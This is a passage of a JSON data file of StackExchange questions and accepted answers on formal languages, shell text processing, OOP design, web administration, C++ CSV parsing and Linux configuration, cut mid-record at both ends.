come up with a grammar for $L$, but I'm getting nowhere. I came up with some sample strings from the language which would be accepted: b, abcab, accbcaa I understand the length of the string has to be odd, and the middle character cannot be repeated anywhere in the string.Therefore, the above three strings are accepted. However, something like aabbb will not accepted, because even though the length is odd, the middle character is repeated.Can someone help with a grammar for $L$?" , "title": "Grammar for a language: odd length, middle character not repeated" , "tags": "formal languages;formal grammars" } { "id": "_unix.192465" , "question": "I have a file (file.php) like this:...Match user foo ChrootDirectory /NAS/foo.info/ ForceCommand internal-sftp AllowTcpForwarding no GatewayPorts no X11Forwarding noMatch user bar ChrootDirectory /NAS/bar.co.uk/ ForceCommand internal-sftp AllowTcpForwarding no GatewayPorts no X11Forwarding noMatch user baz ChrootDirectory /NAS/baz.com/ ForceCommand internal-sftp AllowTcpForwarding no GatewayPorts no X11Forwarding noI am trying to write a bash script to delete one of the paragraphs.So say I wanted delete the user foo from the file.php. After running the script, it would then look like this:...Match user bar ChrootDirectory /NAS/bar.co.uk/ ForceCommand internal-sftp AllowTcpForwarding no GatewayPorts no X11Forwarding noMatch user baz ChrootDirectory /NAS/baz.com/ ForceCommand internal-sftp AllowTcpForwarding no GatewayPorts no X11Forwarding noHow could I go about doing this. I have thought about using sed but that only seems to be appropriate for one liners?sed -i 's/foo//g' file.phpAnd I couldn't do it for each individual line as most of the lines withing the paragraph are not unique! Any ideas?" , "title": "Remove paragraph from file" , "tags": "bash;shell;text processing;sed" , "accepted_answer": "Actually, sed can also take ranges. This command will delete all lines between Match user foo and the first empty line (inclusive):$ sed '/Match user foo/,/^\\s*$/{d}' fileMatch user bar ChrootDirectory /NAS/bar.co.uk/ ForceCommand internal-sftp AllowTcpForwarding no GatewayPorts no X11Forwarding noMatch user baz ChrootDirectory /NAS/baz.com/ ForceCommand internal-sftp AllowTcpForwarding no GatewayPorts no X11Forwarding noPersonally, however, I would do this using perl's paragraph mode (-00) that has the benefit of removing the leading blank lines:$ perl -00ne 'print unless /Match user foo/' fileMatch user bar ChrootDirectory /NAS/bar.co.uk/ ForceCommand internal-sftp AllowTcpForwarding no GatewayPorts no X11Forwarding noMatch user baz ChrootDirectory /NAS/baz.com/ ForceCommand internal-sftp AllowTcpForwarding no GatewayPorts no X11Forwarding noIn both cases, you can use -i to edit the file in place (these will create a backup of the original called file.bak):sed -i.bak '/Match user foo/,/^\\s*$/{d}' fileorperl -i.bak -00ne 'print unless /Match user foo/' file " } { "id": "_unix.225756" , "question": "what happened to the elementary os logo? why has it changed to an ubuntu " , "title": "Why does my Elementary OS show an ubuntu logo?" , "tags": "ubuntu;elementary os" } { "id": "_softwareengineering.321941" , "question": "After learning OOP design then I got to know my programming way was not correct. One should convert physical entities or logically separable components into classes which are reusable and have their own behavior and properties. One must not simply convert all the entities into objects because that would be really cumbersome. If I am developing a filter system in console that checks if my program wants an integer from user then it must be an integer, it should not be a corrupted value by user's typing error or wrong input. For such purpose I should create a separate class to manage all its working and behaviors, distinguished from the console working so that if later I want to use that system into GUI then I can.But creating objects for such class does not makes sense, so I ended up creating everything static from data members to functions which rather seemed like creating somewhat a procedural design with classes. With only one benefit that all the data was bound into units by classes known as encapsulation.My Question is , Is it fine to have such interfaces with classes or one needs to move back to procedural for them? I often face such problems with designing when applying OOP design to the working mechanisms of my code. Edit-1Let me explain the question more precisely suppose you want create a filter system. So you take input in strings from the user and then perform checks if the data contains numerics or alphas or if the data is really pure, not a mixture of alpha and numerics making the code more robust and bug free. For that I created a class in which one needs to pass string and it will check it out what kind of data it is, based on it's internal working while working with such mechanism creating multiple objects of the filter system class does not make sense because if one does so then all the objects would be identical in functionality and usage. Which clearly means that there would be no benefit if the class has multiple instances. So I ended up creating everything static because I did not wanted to create objects" , "title": "Ideal OOP Design" , "tags": "c++" , "accepted_answer": "The thing you asked about is called utility function.There are lots of information, opinions, and mis-information about the role and propriety of utility functions in object-oriented world.In your example, the utility function is very simple, so I would have preferred to keep it as a non-member#1 utility function. Your utility function has a very simple signature:#1: Not a member of a class. However, it could still be placed into a namespace.bool ValidateNumber(const std::string& str);When the utility function is used in the context of user I/O (specifically console-based user I/O), the following logic is typically involved:Subroutine ask user for number and repeat until successPrint promptAccept one line of text from userValidate input (by calling the utility function above)If validation fails,Print an error message explaining what is wrongLoop back to Print prompt, etc.If validation succeeds, the converted number is returned from this subroutine.Notice that this subroutine has plenty of states and logic. It has sufficient complexity that it can be made into a class and instantiated into an object. It could also be made customizable, e.g. allowing an application to instantiate two objects, each with a different prompt.In graphical user interface (GUI), it is more often to see that a number-asking subroutine being wrapped into an object. This is because in the GUI world, a GUI element that asks for a number will have some unique designs, most notably a spinbox (a pair of up/down arrows which allow user to increment/decrement the number when clicked). This strongly favors converting the subroutine into an object." } { "id": "_cs.80168" , "question": "Fiorini, Massar, Pokutta, Tiwary and De Wolf (Exponential Lower Bounds for Polytopes in CombinatorialOptimization, Journal of the ACM 62(2):article 17, 2015; PDF, ArXiv) show any linear program that solves travelling salesman needs super-polynomially many constraints.Suppose $P=NP$ by 'some' method then we can solve the optimal tour explicitly and trivially setup a LP that 'solves' the TSP problem. So $P=NP$ implies that TSP has a poly-size LP formulation. The contrapositive is that TSP has no poly-size LP formulation implies $P\\neq NP$. This paper shows TSP needs super-polynomially many constraints.So why doesn't this show that $P\\neq NP$?" , "title": "Why does this not prove $P\\neq NP$?" , "tags": "complexity theory;proof techniques;linear programming;p vs np;traveling salesman" , "accepted_answer": "What Fiorini et al. show is the following:The TSP polytope $P_n$ over $n$ points is a polytope in $\\binom{n}{2}$ dimensions whose vertices correspond to all Hamiltonian cycles in $K_n$ (the complete graph on $n$ vertices). (That is, it is the convex hull of the indicator vectors of all Hamiltonian cycles.)Suppose that $X_n$ is a polytope whose projection over the first $\\binom{n}{2}$ dimensions is $P_n$, and let $d_n$ be the number of constraints needed to define $X_n$ (i.e., the number of facets of codimension 1). Then $d_n \\geq f(n)$ for some function $f(n) = 2^{\\Omega(\\sqrt{n})}$.In other words, they show that TSP cannot be solved using LPs in one particular way. There could be some other way of using LPs to solve TSP which isn't ruled out by their result.For example, perhaps you could use iterative rounding to solve TSP, at each step solving an LP. This is consistent with the result of Fiorini et al.The method in your argument is likewise not ruled out by Fiorini et al." } { "id": "_unix.231965" , "question": "I have to write 17 Tb to tape:ssh some_host 'tar -cz /' | dd bs=20b of=/dev/tapeof course 17 Tb doesn't fit to one tape so I need automatically change it when no room error occurs.I have robot changer and mtx next works fine. I also need to write label to log when tape changed, so I prefer to write hook script on this event.tar has change tape script feature, but I run tar on another host. Also, coping 17 Tb to local host is not the option. sshfs is not an option, as bad. And please don't offer huge backup solutions.What i need is pipe tool like dd which able to run some script on 'no room' error and proceed after. Specifying block size is also important as tape drive requires some values." , "title": "change tape on the fly script" , "tags": "tar;dd;tape" } { "id": "_softwareengineering.340869" , "question": "I would like to initialize my variables at the top of my file, to prevent any Undefined variable notices. But what do you guys think is considered to be best practice (in PHP), in case of a string type variable?Initialize the variable with a value false by default?$variable = false;Or perhaps just an empty string$variable = '';Or even a null value$variable = null;" , "title": "Default value variable, null vs empty string vs false" , "tags": "php;coding standards;clean code" , "accepted_answer": "If you don't have a sensible value to initialize your variable with, then you should not be creating that variable at that point in your code.If you are getting notices that you are using an undefined variable, then that is a clear indication that you have a problem in your program flow.The correct course of action here is to give those variable a sensible value before they are being used. If such a sensible value doesn't exist, then you need to ask yourself why the variable is being used in the first place.Just blindly masking Undefined variable notices is not going to make the real problem go away. The Undefined variable notice is only a side-effect of that real problem." } { "id": "_webmaster.56292" , "question": "In Google Webmaster Tools under Search Traffic --> Internal Links, for some pages it's showing too many internal links. Is there any effect on my site due to these internal links. How these internal links works?For Example:Under /musical-instruments-2 it has Top 82 links and Total links 470. I observed that it contains unrelated links (other than musical instruments). Why has it linked unrelated data under musical instruments?" , "title": "Internal links in Google Webmaster Tools showing unrelated data" , "tags": "seo;google search console;links" } { "id": "_unix.177058" , "question": "how do you replace multiple lines of code in Kate?The following is the original text:



...
This is the text that I would like to have:
...
Thank you." , "title": "How do you search and replace multiple lines in KDE Kate?" , "tags": "search;replace;kate" , "accepted_answer": "Through Ctrl+R you switch into the search & replace mode. In the bar on the bottom, you first have to select as Mode either Escape sequences or Regular expressions.For instance, if you choose Escape sequences, click the right mouse button on the search field. A context menu appears with an item called Add, listing some valid escape sequences, among which you will find \\n. The same apples for the replace line edit. The context menu is also available in the Regular expressions mode." } { "id": "_datascience.1069" , "question": "I am trying to evaluate and compare several different machine learning models built with different parameters (i.e. downsampling, outlier removal) and different classifiers (i.e. Bayes Net, SVM, Decision Tree).I am performing a type of cross validation where I randomly select 67% of the data for use in the training set and 33% of the data for use in the testing set. I perform this for several iterations, say, 20.Now, from each iteration I am able to generate a confusion matrix and compute a kappa. My question is, what are some ways to aggregate these across the iterations? I am also interested in aggregating accuracy and expected accuracy, among other things.For the kappa, accuracy, and expected accuracy, I have just been taking the average up to this point. One of the problems is that when I recompute kappa with the aggregated average and expected average, it is not the same with the aggregated kappa.For the confusion matrix, I have been first normalizing the confusion matrix from each iteration and then averaging them, in an attempt to avoid an issue of confusion matrices with different numbers of total cases (which is possible with my cross validation scheme).When I recompute the kappa from this aggregated confusion matrix, it is also different from the previous two.Which one is most correct? Is there another way of computing an average kappa that is more correct?Thanks, and if more concrete examples are needed in order to illustrate my question please let me know." , "title": "Kappa From Combined Confusion Matrices" , "tags": "machine learning;confusion matrix" } { "id": "_unix.53367" , "question": "I'm trying to find the path of a file and move it.When I try realpath, it is not useful. For example : I want to move the file All Hail the Generalist - Vikram Mansharamani - Harvard Business Review.htmlUsing realpath: realpath 'All Hail the Generalist - Vikram Mansharamani - Harvard Business Review.html/home/x/Downloads/All Hail the Generalist - Vikram Mansharamani - Harvard Business Review.htmlBut I can't do : mv /home/x/Downloads/All Hail the Generalist - Vikram Mansharamani - Harvard Business Review.html /home/I need something like that : mv /home/x/Downloads/All\\ Hail\\ the\\ Generalist\\ -\\ Vikram\\ Mansharamani\\ -\\ Harvard\\ Business\\ Review.html" , "title": "Find and use the path of a file?" , "tags": "shell;rename;filenames;quoting" } { "id": "_softwareengineering.163266" , "question": "I'm wondering about the differences between inheritance and composition examined with concrete code relevant arguments.In particular my example was:Inheritance:class Do: def do(self): self.doA() self.doB() def doA(self): pass def doB(self): passclass MyDo(Do): def doA(self): print(A) def doB(self): print(B)x=MyDo()vs Composition:class Do: def __init__(self, a, b): self.a=a self.b=b def do(self): self.a.do() self.b.do()x=Do(DoA(), DoB())(Note for composition I'm missing code so it's not actually shorter)Can you name particular advantages of one or the other?I'm think of:composition is useful if you plan to reuse DoA() in another contextinheritance seems easier; no additional references/variables/initializationmethod doA can access internal variable (be it a good or bad thing :) )inheritance groups logic A and B together; even though you could equally introduce a grouped delegate objectinheritance provides a preset class for the users; with composition you'd have to encapsule the initialization in a factory so that the user does have to assemble the logic and the skeleton...Basically I'd like to examine the implications of inheritance vs composition. I heard often composition is preferred, but I'd like to understand that by example.Of course I can always start with one and refactor later to the other." , "title": "How do inheritance and composition differ?" , "tags": "object oriented design;inheritance;composition" , "accepted_answer": "Conceptually speaking, composition models consists of relationships, whereas inheritance models is a.Using the car analogy, a car has wheels is a textbook example for composition, and it makes sense to have a class Wheel, and a class Car with a property wheels of type Wheel[].In theory, an example of inheritance would be a truck is a vehicle: properties common to all vehicles can be implemented in class Vehicle, while those specific to trucks can be implemented in class Truck.The truck example, however, also illustrates the problem of the inheritance approach: what if you have to make your vehicle class polymorphic not only for the vehicles purpose (passengers vs. freight), but also for fuel type? You'd have to create four classes to cover passenger cars and freight vehicles, as well as diesel vs. gasoline powered. Add another orthogonal property, and the number of classes doubles again. Worse yet, you have to decide which of these orthogonal properties comes first in the class hierarchy: is it Vehicle -> DieselVehicle -> DieselFreightVehicle -> Truck, or is it Vehicle -> FreightVehicle -> DieselFreightVehicle -> Truck? Either way, you have to duplicate some functionality, either the freight-specific things, or the diesel-specific things. The solution is to use composition anyway: A vehicle has an engine (which can be diesel- or gasonline-powered), and a cargo type (which can be passengers or freight); you don't need a truck class anymore, because your vehicle class can already model all sorts of vehicles by combining suitable engines and cargo types. Note that the components are still polymorphic, but the container object is not. The trick is to keep polymorphism one-dimensional, that is, each polymorphic hierarchy models one of many orthogonal properties, such as engine type, freight type, etc.This is why people say favor composition over inheritance; of course you are still inheriting, but you have separated your inheritance into independent strains." } { "id": "_unix.240974" , "question": "What is the list of programs that were available in the first public version of Linux distribution (not just kernel)? I am specially concerned when this distribution was released and if diff utility was there." , "title": "Was 'diff' included in the first version of Linux" , "tags": "linux;diff;history" , "accepted_answer": "Short answer - it did.A bit of archeology reveals thatThe first linux distributions were published in 1993. SLS 1.02, linked above, was the most popular at the time.GNU bulletin for Jan 1993 includes diff 2.0.diff 2.0 GNU diff compares files showing line-by-line changes in several flexible formats. It is much faster than the traditional Unix versions. The diff distribution contains diff, diff3, sdiff, and cmp.The SLS distribution, which later forked to slackware and debian included diff in it's /usr/bin, as linked above." } { "id": "_unix.216973" , "question": "I've been trying since Thursday to get a sabrent card to come up and show what wifi networks are available. I'm in midtown Atlanta...so seems there should be 1 or 2 networks showing.The card's power light is on.I tried running:ifconfig wlan0 upin the terminal which didn't give any errors but dmesg shows:IPv6: ADDRCONF(NETDEV_UP): wlan0: link is not readyHow can I make wlan0 ready? ....or am I going at this all wrong?" , "title": "Wi-Fi Sabrent PCI-8021N Linux Debian Jessie _x86_64 using ralink firmware/desktop" , "tags": "networking;wifi" } { "id": "_softwareengineering.323514" , "question": "Say you've just started working in a very small team on a {currently relatively small, though hopefully bigger later} project. Note that this is an actual project intended to be used by other developers in the real world, not some academic project that is meant to be scrapped at the end of a semester.However, the code is not yet released to others, so no decision is yet set in stone.The MethodologiesOne of you likes to begin coding and make the pieces fit together as you go before you necessarily have a clear idea of how exactly all the components will interact (bottom-up design). Another one of you likes to do the entire design first and nail down the details of all the components and communication before coding a solution.Assume that you are working on a new system rather than mimicking existing ones, and thus it is not always obvious what the right end-design should look like. So, on your team, different team members sometimes have different ideas of what requirements are even necessary for the final product, let alone how to go about designing it.When the bottom-up developer writes some code, the top-down developer rejects it because of potential future problems envisioned in the design despite the fact that the code may solve the problem at hand, believing that it is more important to get the design correct before attempting to code the solution to the problem.When the top-down developer tries to work out the full design and the envisioned problems before starting to write the code, the bottom-up developer rejects it because the bottom-up developer doesn't think some of the problems will actually arise in practice, and thinks that the design may need to be changed in the future when the requirements and constraints become clearer.The ProblemThe problem that this has resulted in is that bottom-up developer ends up wasting time because the top-down developer frequently decides the solution that the bottom-up developer has written should be scrapped due to a design flaw, resulting in the need to re-write the code. The top-down developer ends up wasting time because instead of parallelizing the work, the top-down developer now frequently sits down to work out the correct design with the bottom-up developer, serializing the two to the point where it may even be faster for 1 person to do the work than 2.Both of the developers want to keep working together, but it doesn't seem that the combination is actually helping either of them in practice. The GoalsThe common goals are obviously to maximize coding effectiveness (i.e. minimize time wastage) and to write useful software.The QuestionPut simply, how do you solve this problem and cope with this situation? The only efficient solution I can think of that doesn't waste time is to let each developer follow his/her own style for the design. But this is harder than it sounds when you code-review and actually need to approve of each others' changes, and when you're trying to design a coherent framework for others to use. Is there a better way?" , "title": "How to cope with different development styles (top-down vs. bottom-up) in a team?" , "tags": "design;development methodologies;methodology" } { "id": "_unix.313568" , "question": "I have problem getting my VM running via libvirt. Here is my setup:I put my qcow2 image and domain XML (named win7.xml) under $HOME/vm,with all files and directories using my user, my group, and permission bits 0644.I uncommented user = root, group = root and dynamic_ownership = 1lines in /etc/libvirt/qemu.conf, expecting qemu-system-x86_64 will runas root, therefore having full access to the dirs and files under $HOME/vm.However, invocation of virsh create win7.xml as root was failed:error: Failed to create domain from win7.xmlerror: internal error: early end of file from monitor, possible problem: 2016-10-01T03:36:02.049418Z qemu-system-x86_64: -drive file=/home/naitree/vm/win7/win7.qcow2,format=qcow2,if=none,id=drive-virtio-disk0: Could not open '/home/naitree/vm/win7/win7.qcow2': Permission deniedThe following error was logged in /var/log/libvirt/qemu/win7.log:2016-10-01T03:36:02.049418Z qemu-system-x86_64: -drive file=/home/naitree/vm/win7/win7.qcow2,format=qcow2,if=none,id=drive-virtio-disk0: Could not open '/home/naitree/vm/win7/win7.qcow2': Permission denied2016-10-01 03:36:02.080+0000: shutting downIt looks like qemu failed to access my VM disk file. But why? Didn't qemu-system-x86_64run as root? What should be done to make sure libvirt-qemu able to access the disk imageresiding in $HOME directory?Additional version informations:libvirt, virsh version: 1.3.3.2QEMU version: QEMU emulator version 2.6.1 (qemu-2.6.1-1.fc24)distro: Fedora 24kernel: 4.7.4-200.fc24.x86_64" , "title": "libvirt qemu cannot access image inside my home directory, even as root?" , "tags": "kvm;qemu;libvirtd" } { "id": "_webmaster.91117" , "question": "I was looking at http://marcjschmidt.de/blog/2013/10/25/php-imagepng-performance-slow.html and towards the end of the document, I learned something from the chart at the end.If I use a very high compression on an image, the processing time (including TTFB) will be higher and the download time will be smaller.The opposite is true if I use low compression.The problem here is if I pick too low of compression, then it will take substantially longer for people to load images on my site. If I pick too high of compression, then I believe the TTFB (time to first byte) value will be high. If that value is too high, then google might see my image loading speed as slow.Currently for the desktop version of my site, I'm using full-sized images at 80% JPEG quality, and for mobile site, I'm using 66% quality.I'm afraid if I raise the quality of the image (aka reduce compression) on either site, then there will be more data to download and some people might be billed high for data usage. My other option is to adjust the image size some more, but then if I go too small, visitors might complain.So whats the best thing to do? adjust JPEG image quality to different values (more optimal values)? or do I shrink the images and pray for no complaints?" , "title": "Compressing images for desktop and mobile site or adjust size?" , "tags": "images;mobile;optimization;desktop;image size" } { "id": "_cs.80117" , "question": "I have a brief proof about QBF being $\\in$ APTIME, which claims that you can use the additional input of the alternation as values for your QBF formula.And therefore you can accept, if the quantifier less formula $\\psi$ is true, given the additional input.That makes sense, but if you assume $\\psi$ in 3-CNF. I could make that check in SPACE$(\\log n)$ and therefore, I could solve QBF in $\\mathbf{ALOGSPACE}$, which would place QBF in $\\mathbf{P} = \\mathbf{ALOGSPACE}$, that obviously can't be true, but I don't see my mistake.The proof claims runtime: $\\mathcal{O}(n^2)$I know that APTIME = PSPACE and QBF is PSPACE complete therefore QBF is APTIME complete, so what am I missing?" , "title": "QBF in APTIME - Why APTIME and not ALOGSPACE?" , "tags": "complexity theory;time complexity;runtime analysis" } { "id": "_vi.1879" , "question": "I am using Vim on windows. Any time I edited a file, Vim is created temporary files. When I created a file, mysql-build-properties.xmlVim is creating files like these: mysql-build-properties.xml~ mysql-build-properties.xml~~Are these files Vim temporary files? If so, how do to stop it?" , "title": "Vim Windows creating temporary files" , "tags": "swap file;backup" } { "id": "_webmaster.2359" , "question": "In my phpbb forum, just after I post a reply to a thread, a page is shown and I've to wait around 5 secs to return back to the thread. How do I reduced the time to 0. (I tried setting the Flood Interval to 0 but it dint work." , "title": "How to reduce delay between forum posts in phpbb" , "tags": "php;forum" , "accepted_answer": "If you're using phpBB 3, then you can reduce the refresh time by editing the posting.php file in the root directory of the script.Inside you'll find (around line 1118 for 3.0.7PL1) an if statement similar to the following, depending on your version:// Check the permissions for post approval. Moderators are not affected.if ((!$auth->acl_get('f_noapprove', $data['forum_id']) && !$auth->acl_get('m_approve', $data['forum_id']) && empty($data['force_approved_state'])) || (isset($data['force_approved_state']) && !$data['force_approved_state'])){ meta_refresh(10, $redirect_url); $message = ($mode == 'edit') ? $user->lang['POST_EDITED_MOD'] : $user->lang['POST_STORED_MOD']; $message .= (($user->data['user_id'] == ANONYMOUS) ? '' : ' '. $user->lang['POST_APPROVAL_NOTIFY']);}else{ meta_refresh(3, $redirect_url); $message = ($mode == 'edit') ? 'POST_EDITED' : 'POST_STORED'; $message = $user->lang[$message] . '

' . sprintf($user->lang['VIEW_MESSAGE'], '', '');}You'll notice there are two calls to meta_refresh() in there; the first one - waiting 10 seconds based on the first argument - is used when a forum is moderated, and a post needs to be approved first. It was changed to this length to give users enough time to see the actual message before the page refreshed.The second one - 3 seconds in the current phpBB version - is the one you'll probably want to change. You can reduce this down to 0 to have users redirected immediately, after which you'll just have the normal 1-2 second lag while the page is served, and the browser renders it.One thing to note - you may need to modify this every time you upgrade phpBB, as this is a core file." } { "id": "_codereview.2490" , "question": "I would like to efficiently import real numbers stored in CSV format into an array. Is there a way to modify my code to make it faster? Also, is there a way to scan the file and compute the number of rows and columns rather than having to provide these directly?double * getcsv(string fname, int m, int n){ double *a; a = (double *)malloc(n * m * sizeof(double)); ifstream fs(fname.c_str()); char buf[100]; for(int i=0;i>a[(i*n)+j]; } } return(a);}" , "title": "Fast import of numbers stored in a CSV file" , "tags": "c++;csv" , "accepted_answer": "In C++, we usually avoid malloc - in this case, you could use a std::vector< double > in stead. Doing this, you will allow the user of your code to use RAII in stead of manually managing the allocated memory. You cal tell the vector how much to allocate by initializing it with the right size. The compiler will apply return value optimization to avoid copying the vector (by constructing it into the return value) so you shouldn't worry too much about that.You don't preserve the values of m and n. I don't know if this is intentional but if you don't want to burden your client code with lugging it around, consider a struct or a class to carry it, and the values you read, around.You don't check the return values of the methods you call on the fstream - you should.You'd probably be better off reading the values from the fstream directly into the array, rather than reading them into a buffer, copying that buffer into a stringstream and then reading them from the stringstream to convert. You can save the use of the stringstream (and therefore eliminate it altogether).Example program:#include #include #include #include using namespace std;struct Data{ Data(unsigned int width, unsigned int height) : width_(width) , height_(height) , data_(width * height) { /* no-op */ } unsigned int width_; unsigned int height_; vector< double > data_;};Data split(istream &is, unsigned int width, unsigned int height){ Data retval(width, height); double d; int i(0); while (is >> d) { retval.data_[i++] = d; is.ignore(1, ','); } return retval;}int main(){ const char *test_string = 2.83, 31.26, 2354.3262, 0.83567\\n 12.3, 35.236, 2854.3262, 0.83557\\n 32.3, 33.26, 2564.3262, 0.83357\\n 27.3, 3.2869, 2594.3262, 0.82357\\n; const unsigned int width = 4; const unsigned int height = 4; stringstream ss(test_string); Data data(split(ss, width, height)); copy(data.data_.begin(), data.data_.end(), ostream_iterator< double >(cout, ));}" } { "id": "_unix.274432" , "question": "I have the following folder structure:/backup/backup/copy.sh/backup/archive//backup/20160405_logs//backup/20160405_logs/sql.log/backup/20160405_logs/bak.logI want to move the folder 20160405_logs into /backup/archive/. If I run mv /backup/20160405_logs /backup/archive from the CLI (manually type and run) it works perfectly. However, if I run that command from copy.sh I get the following error for each file within 20160405_logs:copy.sh: line x: file_path: No such file or directory where is x is an incorrect line number for mv call in copy.sh.All the files and their parent folder are moved though. So it's not like the move is failing...What am I missing!?Thanks in advance :)" , "title": "mv misbehaves in shell script" , "tags": "shell script;command line;mv" , "accepted_answer": "Jeff Schallers' second comment pointed me in the right direction.My backup script looks like this:tar source_folder dest_file >> /backup/20160405_logs/bak.logmv /backup/20160405_logs /backup/archiveecho Backup complete >> /backup/20160405_logs /backup/archiveThe missing files that are being reported are log files that I am trying to write to after I run the mv command.As mentioned in my comment above, if there were a badge for nitwits, I'd own one! Sorry for wasting everyone's time." } { "id": "_webapps.20355" , "question": "My brother and I used to play Star Fox 64 when we were kids, and when we did dog fights, we always loved doing barrel rolls so I decided to search for the quote that they always said the game in tutorial. So I start typing do a and well Google started auto-completing it for me. That's good so before I move to the suggested item Google decides it is going to make me sick.I know Easter eggs are all good and great but now I am afraid for when I need to search Google that something happens unexpectedly. I didn't even type in the full query. I just want to search Google.. you know without all the fireworks and barrel rolls. I love Google Search so is there an option/extension to stop these features?" , "title": "How do I search for do a barrel roll without Google ... doing a barrel roll?" , "tags": "google search;easter eggs" , "accepted_answer": "You can avoid Google doing a barrel roll by encapsulating your query in quotation marks: do a barrel roll will not, ironically enough, do a barrel roll.This should work for all easter egg queries: quotation marks signal to Google that it should search for the literal string instead of interpreting it to mean something else.Compare:tilt vs. tiltaskew vs. askewonce in a blue moon vs. once in a blue moonThis of course doesn't work when Google Instant is turned on, as Google will submit the search query before you can finish encapsulating the query in quotation marks. Unfortunately, this is a limitation/feature of Google Instant: to prevent Google from submitting the query before you're finished typing it, you'd have to disable Google Instant.Beyond this, it's possible to disable certain types of Easter eggs, provided you know the nature of the Easter egg beforehand. You could, for instance, prevent the do a barrel roll Easter egg by adding the following snippet to your browser's custom stylesheet:body { -webkit-animation-name: none; -moz-animation-name: none;}But since this would affect every tag on every webpage, it's not ideal either.You could get around this by using Stylish, which allows you to specify site-specific custom stylesheets (userstyles). Creating a userstyle with the following should work:@-moz-document: domain(google.com)@-webkit-document: domain(google.com)@document: domain(google.com)body { -webkit-animation-name: none; -moz-animation-name: none;}Of course, while this would allow you to disable this specific Easter egg, Google can and most likely will come up with new ones that do unexpected things in the name of being quirky. Without disabling JavaScript or Google Instant, it'd be nigh impossible to prevent them from happening at least once." } { "id": "_unix.311597" , "question": "Is there a way to block connections for incoming requests for GMAIL at port level? Is it that all protocols use same port for incoming and outgoing connections? " , "title": "How to block a port connection (Ex: GMAIL) for incoming mails and allow only for outgoing mails?" , "tags": "iptables;email;http;https" , "accepted_answer": "Block incoming ports 25, 465 and 587. And you will have only outgoing mail from this server. Also you can consider to set the SMTP daemon to listen only to 127.0.0.1 which will make it accept incoming mail only via localhost and send mail to the world" } { "id": "_unix.195448" , "question": "From my computer:$ cat /etc/issue && uname -aUbuntu 14.04.1 LTS \\n \\lLinux abc-pc 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/LinuxI am using Qt 5.4 and QtCreator 3.3.0I have read this answer regarding the opengl errors, but I am not sure if that applies to me too.The programs run very finely on my computer, but a peer does ssh from his own computer on my computer and runs the same program and the following errors are shown on his computer.Doing ssh means that he is actually working on my computer so when I am not getting these errors why is he?libGL error: failed to load driver: swrastConnected to xyzQOpenGLShader: could not create shaderQOpenGLShaderProgram: could not create shader programQOpenGLShader: could not create shaderQOpenGLShaderProgram::uniformLocation( imageTexture ): shader program is not linkedQOpenGLShaderProgram: could not create shader programQOpenGLShader: could not create shaderQOpenGLShader: could not create shadershader compilation failed: QOpenGLShaderProgram::uniformLocation( matrix ): shader program is not linkedQOpenGLShaderProgram::uniformLocation( opacity ): shader program is not linkedQOpenGLShaderProgram: could not create shader programQOpenGLShader: could not create shaderQOpenGLShader: could not create shadershader compilation failed: QOpenGLShaderProgram::uniformLocation( matrix ): shader program is not linkedQOpenGLShaderProgram::uniformLocation( opacity ): shader program is not linkedQOpenGLShaderProgram::uniformLocation( pixelSize ): shader program is not linkedQOpenGLShaderProgram: could not create shader programQOpenGLShader: could not create shaderQOpenGLShader: could not create shadershader compilation failed: " , "title": "Error: QOpenGLShader: could not create shader - while running through ssh" , "tags": "opengl;ubuntu;ssh" } { "id": "_webapps.85053" , "question": "I have number of fan pages on my Facebook account. I am trying to get a Twitter account for each page, but because I already have my own Twitter account it will not let me connect the fan page unless I disconnect the main twitter account from my private Facebook profile. Is there any other way to fix this?" , "title": "Twitter accounts with Facebook fan pages" , "tags": "facebook;twitter;facebook pages;synchronization" } { "id": "_webmaster.86614" , "question": "So I finally ran screaming frog SEO spider on a number of my pages, and what I'm left with now are some duplicate titles on some of my mobile pages containing this HTML: On the respective pages for desktop users, I added a link tag showing the mobile equivalent page to show google the relationship.On my desktop pages, my H1 tags on each page are unique. Some pages no longer have an H2 tag since I had to blend it into the H1 tag and screaming frog spider takes note of duplicate H2 tags.My question is for any two pages that contain rel=canonical pointing to the original unique pages, do I have to worry about unique titles (in H1 tag) on them? or do I only have to worry on pages without rel=canonicalI ask because if making the titles unique on the pages (mobile site pages) with rel=canonical are necessary, then users will have a worse experience since the title will take up a huge part of the above-the-fold real estate on my website, especially on the photo pages where the user's prime interest is the photo." , "title": "Is it mandatory to have unique titles (in H1 tag) on a mobile version of a page even if it contains rel=canonical?" , "tags": "tags;rel canonical;rel alternate;titles;h1" } { "id": "_reverseengineering.11162" , "question": "I have been impressed with the reverse debugging (that is stepping back in time through a program) capabilities in GDB and tools like QIRA, but I am a little confused as to why no such program exists for the OSX platform (GDS does not support reverse debugging on OSX.) Is there a technical reason why a reverse debugger is not possible on OSX? I would imagine that under the same architectures the task of implementing a time oblivious debugger would be almost exactly the same. Why would porting to OSX be a impossible or difficult? I mostly assume there is a technical challenge here because no one has implemented such an obviously useful program. " , "title": "Are Reverse Debuggers Impossible on OSX?" , "tags": "debugging;osx" } { "id": "_unix.136497" , "question": "I can do git clone like so ... git clone https://github.com/stackforge/puppet-heat.git... with no problems. But I want to exclude all the git meta stuff that comes with the cloning, so I figured I would use git archive but I get this error:$ git archive --remote=https://github.com/stackforge/puppet-heat.git fatal: Operation not supported by protocol.Anyone know why or what I am doing wrong?" , "title": "git archive fatal: Operation not supported by protocol" , "tags": "git;github" , "accepted_answer": "I would simply run the git clone as you've described and then delete the .git directories that are dispersed throughout the cloned directory.$ find puppet-heat/ -name '.git' -exec rm -fr {} +" } { "id": "_webmaster.7135" , "question": "All that is output on the page is the domain name of the advertiser, for example 'www.solar-aid.org'. The rest of the content is stripped, I believe because of a document.write() statement.I'd like to know if this is a common issue or something wrong with our setup. There are three domains causing the issue, which we've blocked from Adsense as a result.solar-aid.orgkiva.orggrameenfoundation.orgGiven the type of organizations I think they may be within the default group of 'public service ads' within the Backup Ads setting. If the issue doesn't completely resolve itself soon (one customer of ours complained today, even though I blocked them 5+ days ago), I'll disable public service ads and select the 'fill space with a solid color' option." , "title": "Some Adsense domain's ads are causing document.write() statements that remove the html from the page" , "tags": "javascript;advertising;google adsense" } { "id": "_unix.28151" , "question": "I don't have a lot of knowledge on Linux so pleas forgive me if this is a simple question.I manage a server with Oracle RAC 11g running on Redhat 5.2. There are a number of raw drives on the server but I cannot see how they are being mapped.I have had a look at the fstab and even the udev (raw rules configuration, even thought its depreciated). But I cannot see where the various mappings from the partitions presented /dev/sd[xy][123] would map to the various /dev/raw/raw[12345] etc.So is there any 